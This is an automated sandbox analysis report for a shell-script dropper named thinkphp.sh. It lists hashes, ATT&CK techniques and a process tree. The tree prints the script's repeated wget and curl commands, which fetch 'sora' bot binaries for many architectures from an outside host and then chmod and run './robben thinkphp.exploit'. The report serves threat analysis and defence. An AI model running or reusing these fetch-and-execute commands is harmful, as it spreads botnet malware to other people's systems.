5dd110ef0c4db61f39219af5ee3da2aaa3b6f4affc0038f6f35cf4acc36b5ed4

Analysis

max time kernel
41s
max time network
43s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/11/2024, 18:43

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General

Target
thinkphp.sh
Size 2KB
Sample241110-xcwydsshja
SHA256 5dd110ef0c4db61f39219af5ee3da2aaa3b6f4affc0038f6f35cf4acc36b5ed4
MD5 e8ebaded7cc56bd9af25f4865313339a
SHA1 4d1af85cbae92660e035398d758a40f8ebaa4d1c
SHA512 cf2a58d5083c84c74fe59e032756111b873046ff6c9403bf16b8c0acbe66c777e11a72f35a596e413eb322619bca2d22c2a5bfd6ebfab07b76a6a4d3ff6b4da4
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
841	chmod
789	chmod
852	chmod
869	chmod
750	chmod
808	chmod
862	chmod
881	chmod
758	chmod
765	chmod
772	chmod
823	chmod
899	chmod
739	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	740	robben
/tmp/robben	751	robben
/tmp/robben	759	robben
/tmp/robben	766	robben
/tmp/robben	773	robben
/tmp/robben	792	robben
/tmp/robben	810	robben
/tmp/robben	824	robben
/tmp/robben	843	robben
/tmp/robben	853	robben
/tmp/robben	863	robben
/tmp/robben	870	robben
/tmp/robben	883	robben
/tmp/robben	900	robben

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
743	wget
746	curl
749	cat

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	thinkphp.sh

/tmp/thinkphp.sh
/tmp/thinkphp.sh
1⤵
- Writes file to tmp directory
PID:713
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86
  2⤵
  - Reads runtime system information
  PID:727
- /bin/cat
  cat sora.x86
  2⤵
  PID:738
- /bin/chmod
  chmod +x robben systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-VE7okZ thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:740
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:743
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:746
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:749
- /bin/chmod
  chmod +x robben systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-VE7okZ thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:751
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86_64
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  PID:755
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:757
- /bin/chmod
  chmod +x robben systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-VE7okZ thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:759
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i468
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i468
  2⤵
  - Reads runtime system information
  PID:762
- /bin/cat
  cat sora.i468
  2⤵
  PID:764
- /bin/chmod
  chmod +x robben systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-VE7okZ thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:766
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i686
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i686
  2⤵
  - Reads runtime system information
  PID:769
- /bin/cat
  cat sora.i686
  2⤵
  PID:771
- /bin/chmod
  chmod +x robben systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-VE7okZ thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:773
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mpsl
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  PID:778
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:787
- /bin/chmod
  chmod +x robben systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-VE7okZ thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:792
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm4
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm4
  2⤵
  - Reads runtime system information
  PID:798
- /bin/cat
  cat sora.arm4
  2⤵
  PID:807
- /bin/chmod
  chmod +x robben systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-VE7okZ thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:810
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm5
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm5
  2⤵
  - Reads runtime system information
  PID:815
- /bin/cat
  cat sora.arm5
  2⤵
  PID:821
- /bin/chmod
  chmod +x robben systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-VE7okZ thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:824
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm6
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm6
  2⤵
  - Reads runtime system information
  PID:829
- /bin/cat
  cat sora.arm6
  2⤵
  PID:839
- /bin/chmod
  chmod +x robben systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-VE7okZ thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:843
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm7
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm7
  2⤵
  - Reads runtime system information
  PID:848
- /bin/cat
  cat sora.arm7
  2⤵
  PID:851
- /bin/chmod
  chmod +x robben systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-VE7okZ thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:853
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc
  2⤵
  PID:855
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc
  2⤵
  - Reads runtime system information
  PID:856
- /bin/cat
  cat sora.ppc
  2⤵
  PID:861
- /bin/chmod
  chmod +x robben thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:863
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  PID:866
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:868
- /bin/chmod
  chmod +x robben thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:870
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.m68k
  2⤵
  PID:872
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.m68k
  2⤵
  - Reads runtime system information
  PID:873
- /bin/cat
  cat sora.m68k
  2⤵
  PID:879
- /bin/chmod
  chmod +x robben thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:883
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.sh4
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.sh4
  2⤵
  - Reads runtime system information
  PID:888
- /bin/cat
  cat sora.sh4
  2⤵
  PID:896
- /bin/chmod
  chmod +x robben thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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